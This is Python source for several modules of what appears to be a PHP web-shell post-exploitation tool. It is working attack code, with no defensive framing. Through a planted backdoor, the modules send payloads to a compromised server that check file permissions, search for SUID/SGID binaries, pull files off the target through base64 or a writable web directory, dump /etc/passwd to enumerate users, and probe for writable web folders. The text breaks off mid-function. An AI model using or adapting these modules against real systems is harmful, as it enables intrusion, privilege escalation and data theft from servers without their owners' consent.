class Check(Module): '''Check remote files type, md5 and permission''' vectors = VectorList([ V( 'shell.php', 'exists', "$f='%s'; (file_exists($f) || is_readable($f) || is_writable($f) || is_file($f) || is_dir($f)) && print(1);", ), V('shell.php', "dir", "is_dir('%s') && print(1);"), V('shell.php', "md5", "print(md5_file('%s'));"), V('shell.php', "r", "is_readable('%s') && print(1);"), V('shell.php', "w", "is_writable('%s') && print(1);"), V('shell.php', "x", "is_executable('%s') && print(1);"), V('shell.php', "file", "is_file('%s') && print(1);") ]) params = ParametersList( 'Check remote files type, md5 and permission', [], P(arg='rpath', help='Choose remote file path', required=True, pos=0), P(arg='mode', help='Choose mode', required=True, choices=vectors.get_names_list(), pos=1)) def run_module(self, remote_path, mode): # Skip default vector load, here vector=mode vector = self.vectors.get_vector_by_name(mode) response = self.__execute_payload(vector, [remote_path, mode]) if response != None: return response def __execute_payload(self, vector, parameters): remote_path = parameters[0] mode = parameters[1] payload = self.__prepare_payload(vector, [remote_path]) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: if response == '1': return True elif (mode == 'md5' and response): return response else: if mode != 'exists': if not self.run({'rpath': remote_path, 'mode': 'exists'}): self.mprint('File does not exists', 4) return False raise ModuleException(self.name, "File check failed") def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Perms(Module): '''Find files with write, read, execute permissions :find.perms first|all file|dir|all w|r|x|all <path> ''' vectors = VectorList([ V( 'shell.php', 'php_recursive', """@swp('%s','%s','%s','%s'); function ckmod($df, $m) { return ($m=="any")||($m=="w"&&is_writable($df))||($m=="r"&&is_readable($df))||($m=="x"&&is_executable($df)); } function cktp($df, $f, $t) { return ($f!='.')&&($f!='..')&&($t=='any'||($t=='f'&&@is_file($df))||($t=='d'&&@is_dir($df))); } function swp($d, $type, $mod, $qty){ $h = @opendir($d); while ($f = @readdir($h)) { $df=$d.'/'.$f; if(@cktp($df,$f,$type)&&@ckmod($df,$mod)) { print($df."\\n"); if($qty=="first") return; } if(@cktp($df,$f,'d')){ @swp($df, $type, $mod, $qty); } } @closedir($h); }"""), V('shell.sh', "find", "find %s %s %s %s 2>/dev/null") ]) params = ParametersList( 'Find files by permissions', vectors, P(arg='qty', help='How many files display', choices=['first', 'any'], default='any', pos=0), P(arg='type', help='Type', choices=['f', 'd', 'any'], default='any', pos=1), P(arg='perm', help='Permission', choices=['w', 'r', 'x', 'any'], default='r', pos=2), P(arg='rpath', help='Remote starting path', default='.', pos=3)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def __prepare_payload(self, vector, parameters): path = parameters[0] qty = parameters[1] type = parameters[2] mod = parameters[3] if vector.interpreter == 'shell.sh': if qty == 'first': qty = '-print -quit' elif qty == 'any': qty = '' if type == 'any': type = '' elif type == 'f': type = '-type f' elif type == 'd': type = '-type d' if mod == 'any': mod = '' elif mod == 'w': mod = '-writable' elif mod == 'r': mod = '-readable' elif mod == 'x': mod = '-executable' return vector.payloads[0] % (path, type, mod, qty) def run_module(self, qty, type, mod, path): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [path, qty, type, mod]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response raise ModuleException(self.name, "Files not found") def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: return response
class Suidsgid(Module): '''Find files with superuser flags''' vectors = VectorList([ V('shell.sh', "find" , "find %s %s 2>/dev/null") ]) params = ParametersList('Find files with suid and sgid flags', vectors, P(arg='type', help='Suid, sgid or both', choices=['suid','sgid', 'any'], default='any', pos=0), P(arg='rpath', help='Remote starting path', default='.', pos=1) ) visible = True def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, type, path): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [type, path]) if response != None: self.params.set_and_check_parameters({'vector' : vector.name}) return response raise ModuleException(self.name, "Files not found") def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run({0 : payload}) except ModuleException: response = None else: return response def __prepare_payload(self, vector, parameters): mod = parameters[0] path = parameters[1] if vector.interpreter == 'shell.sh': if mod == 'any': mod = '-perm -04000 -o -perm -02000' elif mod == 'suid': mod = '-perm -04000' elif mod == 'sgid': mod = '-perm -02000' return vector.payloads[0] % (path, mod)
class Download(Module): '''Download binary/ascii files from target filesystem :file.download <remote path> <locale path> ''' vectors = VectorList([ V('shell.php', 'file', "print(@base64_encode(implode('', file('%s'))));"), V( 'shell.php', 'fread', "$f='%s'; print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));" ), V('shell.php', "file_get_contents", "print(@base64_encode(file_get_contents('%s')));"), V('shell.sh', "base64", "base64 -w 0 %s"), V('shell.php', "copy", "copy('compress.zlib://%s','%s') && print(1);"), V('shell.php', "symlink", "symlink('%s','%s') && print(1);") ]) params = ParametersList( 'Download binary/ascii files from target', vectors, P(arg='rpath', help='Remote file path', required=True, pos=0), P(arg='lpath', help='Local file path', required=True, pos=1)) def __init__(self, modhandler, url, password): self.encoder_callable = False self.md5_callable = False self.payload = None self.vector = None self.interpreter = None self.transfer_dir = None self.transfer_url_dir = None self.lastreadfile = '' Module.__init__(self, modhandler, url, password) def _probe(self): if self.modhandler.load('shell.php').run( {0: "is_callable('base64_encode') && print('1');"}) == '1': self.encoder_callable = True else: self.mprint( '[%s] PHP \'base64_encode\' transfer methods not available.' % self.name) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __execute_payload(self, vector, parameters): remote_path = parameters[0] if (vector.name == 'copy' or vector.name == 'symlink'): if not (self.transfer_dir and self.transfer_url_dir and self.file_path): self.modhandler.set_verbosity(6) if not self.modhandler.load('find.webdir').run( {'rpath': 'find'}): self.modhandler.set_verbosity() return self.modhandler.set_verbosity() self.transfer_url_dir = self.modhandler.load( 'find.webdir').found_url self.transfer_dir = self.modhandler.load( 'find.webdir').found_dir if not self.transfer_url_dir or not self.transfer_dir: return filename = '/' + str(randint( 11, 999)) + remote_path.split('/').pop() self.file_path = self.transfer_dir + filename self.url = self.transfer_url_dir + filename payload = self.__prepare_payload(vector, [remote_path, self.file_path]) else: payload = self.__prepare_payload(vector, [remote_path]) response = self.modhandler.load(vector.interpreter).run({0: payload}) if response: self.payload = payload self.interpreter = vector.interpreter self.vector = vector return response def __process_response(self, response, remote_path, local_path): if self.vector.name == 'copy' or self.vector.name == 'symlink': if not self.file_path.endswith( '.html') and not self.file_path.endswith('.htm'): self.mprint( "[%s] Warning: vector '%s' works better with files with downloadable extension like '.html'" % (self.name, self.vector.name)) if self.modhandler.load('file.check').run({ 'rpath': self.file_path, 'mode': 'exists' }): response = Request(self.url).read() else: response = None # Force deleting. Does not check existance, because broken links returns False self.modhandler.load('file.rm').run({ 'rpath': self.file_path, 'recursive': False }) else: if self.encoder_callable: try: response = b64decode(response) except TypeError: self.mprint("[!] [%s] Error, unexpected file content" % (self.name)) if response: try: f = open(local_path, 'wb') f.write(response) f.close() except Exception, e: self.mprint( '[!] [%s] Some error occurred writing local file \'%s\'.' % (self.name, local_path)) raise ModuleException(self.name, e) response_md5 = md5(response).hexdigest() remote_md5 = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'md5' }) if not remote_md5: self.mprint( '[!] [%s] MD5 hash method is not callable with \'%s\', check disabled' % (self.name, remote_path)) return response elif not remote_md5 == response_md5: self.mprint( '[%s] MD5 hash of \'%s\' file mismatch, file corrupted' % (self.name, local_path)) else: self.mprint('[%s] File correctly downloaded to \'%s\'.' % (self.name, local_path)) return response
class EtcPasswd(Module): """Enumerate users and /etc/passwd content""" vectors = VectorList([ V( 'shell.php', 'posix_getpwuid', "for($n=0; $n<2000;$n++) { $uid = @posix_getpwuid($n); if ($uid) echo join(':',$uid).\'\n\'; }" ), V('shell.sh', 'cat', "cat %s"), V('file.read', 'fileread', "%s") ]) params = ParametersList( 'Enumerate users in /etc/passwd content', vectors, P(arg='filter', help='Try to show real users only', default=False, type=bool, pos=0)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) self.usersinfo = {} def run_module(self, filter_real_users): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [filter_real_users]) if response != None: return response raise ModuleException(self.name, "Users enumeration failed") def __execute_payload(self, vector, parameters): filter_real_users = parameters[0] payload = self.__prepare_payload(vector, []) response = self.modhandler.load(vector.interpreter).run({0: payload}) pwdfile = '' if response: response_splitted = response.split('\n') if response_splitted and response_splitted[0].count(':') >= 6: self.params.set_and_check_parameters({'vector': vector.name}) for line in response_splitted: if line: user = User(line) if filter_real_users: if (user.uid == 0) or (user.uid > 999) or ( ('false' not in user.shell) and ('/home/' in user.home)): pwdfile += line + '\n' self.usersinfo[user.name] = user else: pwdfile += line + '\n' self.usersinfo[user.name] = user return pwdfile def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == 1: return vector.payloads[0] % ('/etc/passwd') else: return vector.payloads[0]
class Name(Module): '''Find files with matching name (e=equal, ei= equal case insensitive , c= contains, ci= contains case insensitive) :find.name e|ei|c|ci <string> <start path> ''' vectors = VectorList([ V( 'shell.php', 'php_recursive', """@swp('%s','%s','%s'); function ckdir($df, $f) { return ($f!='.')&&($f!='..')&&@is_dir($df); } function match($df, $f, $s, $m) { return (($m=='e')&&$f==$s)||(($m=='c')&&preg_match("/".$s."/",$f))||(($m=='ei')&&strcasecmp($s,$f)==0)||(($m=='ci')&&preg_match("/".$s."/i",$f)); } function swp($d, $m, $s){ $h = @opendir($d); while ($f = @readdir($h)) { $df=$d.'/'.$f; if(($f!='.')&&($f!='..')&&@match($df,$f,$s,$m)) print($df."\\n"); if(@ckdir($df,$f)) @swp($df, $m, $s); } @closedir($h); }"""), V('shell.sh', "find", "find %s %s %s 2>/dev/null") ]) params = ParametersList( 'Find files with matching name', vectors, P(arg='match', help= 'Match if Equal, Equal case insensitive, Contains, Contains case insensitive', choices=['e', 'ei', 'c', 'ci'], pos=0), P(arg='str', help='String to match', required=True, pos=1), P(arg='rpath', help='Remote starting path', default='.', required=True, pos=2)) visible = True def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def __prepare_payload(self, vector, params): mod = params[0] match = params[1] path = params[2] str_mod = mod str_match = match str_path = path if vector.interpreter == 'shell.sh': if mod == 'e' or mod == 'c': str_mod = '-name' elif mod == 'ei' or mod == 'ci': str_mod = '-iname' if mod == 'c' or mod == 'ci': str_match = '\'*' + str_match + '*\'' return vector.payloads[0] % (str_path, str_mod, str_match) def run_module(self, match, str, rpath): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [match, str, rpath]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response raise ModuleException(self.name, "Files not found") def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: return response
class Webdir(Module): '''Find first writable directory and corresponding URL :find.webdir auto | <start dir> ''' vectors = VectorList([ V('shell.php', 'fwrite', "fwrite(fopen('%s','w'),'1');"), V('shell.php', "file_put_contents", "file_put_contents('%s', '1');"), V('shell.sh', "echo", "echo '1' > %s"), ]) params = ParametersList( 'Find a writable directory and corresponding URL', vectors, P(arg='rpath', help='Remote starting path', default='auto', pos=0)) def __init__(self, modhandler, url, password): self.dir = None self.url = None self.probe_filename = ''.join(choice(letters) for i in xrange(4)) + '.html' Module.__init__(self, modhandler, url, password) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __execute_payload(self, vector, parameters): dir_path = parameters[0] file_path = parameters[1] file_url = parameters[2] dir_url = parameters[3] payload = self.__prepare_payload(vector, [file_path]) self.modhandler.load(vector.interpreter).run({0: payload}) if self.modhandler.load('file.check').run({ 'rpath': file_path, 'mode': 'exists' }): file_content = Request(file_url).read() if (file_content == '1'): self.dir = dir_path self.url = dir_url if self.modhandler.load('shell.php').run( {0: "unlink('%s') && print('1');" % file_path}) != '1': print "[!] [find.webdir] Error cleaning test file %s" % ( file_path) if self.dir and self.url: print "[find.webdir] Writable web dir found with method '%s': %s -> %s" % ( vector.name, self.dir, self.url) return True return False def run_module(self, start_dir): if self.url and self.dir: self.mprint("[%s] Writable web dir: %s -> %s" % (self.name, self.dir, self.url)) return if start_dir == 'auto': try: root_find_dir = self.modhandler.load('system.info').run( {0: 'basedir'}) except ModuleException, e: self.mprint('[!] [' + e.module + '] ' + e.error) root_find_dir = None else: